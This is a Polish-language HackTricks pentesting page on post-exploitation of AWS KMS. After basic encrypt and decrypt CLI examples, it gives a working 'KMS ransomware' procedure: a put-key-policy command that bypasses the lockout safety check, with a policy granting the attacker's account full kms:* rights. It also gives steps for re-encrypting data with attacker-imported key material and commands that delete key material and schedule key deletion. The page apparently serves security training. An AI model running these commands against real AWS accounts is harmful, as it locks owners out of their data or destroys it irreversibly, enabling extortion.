AWS - KMS Post Exploitation

Wsparcie HackTricks

KMS

Aby uzyskać więcej informacji, sprawdź:

AWS - KMS Enum

Szyfrowanie/Odszyfrowanie informacji

Zauważ, że jeśli chcesz odszyfrować dane w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64.

  • Używając klucza symetrycznego

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Używanie klucza asymetrycznego:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę KMS kluczy i przyznać swojemu kontu dostęp do nich, usuwając dostęp przyznany legalnemu kontu.

Wtedy użytkownicy legalnego konta nie będą mogli uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie.

Zauważ, że klucze zarządzane przez AWS nie są dotknięte tym atakiem, tylko klucze zarządzane przez klienta.

Zauważ również potrzebę użycia parametru --bypass-policy-lockout-safety-check (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko zewnętrznemu kontu, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby przywrócić dostęp do oryginalnego konta, nie będziesz w stanie.

Ogólny KMS Ransomware

Globalny KMS Ransomware

Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:

  • Utwórz nowy klucz z materiałem klucza importowanym przez atakującego

  • Ponownie zaszyfruj starsze dane zaszyfrowane poprzednią wersją nowym.

  • Usuń klucz KMS

  • Teraz tylko atakujący, który ma oryginalny materiał klucza, mógłby odszyfrować zaszyfrowane dane

Zniszcz klucze

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Zauważ, że AWS teraz zapobiega wykonywaniu poprzednich działań z konta krzyżowego:

Wsparcie HackTricks

Last updated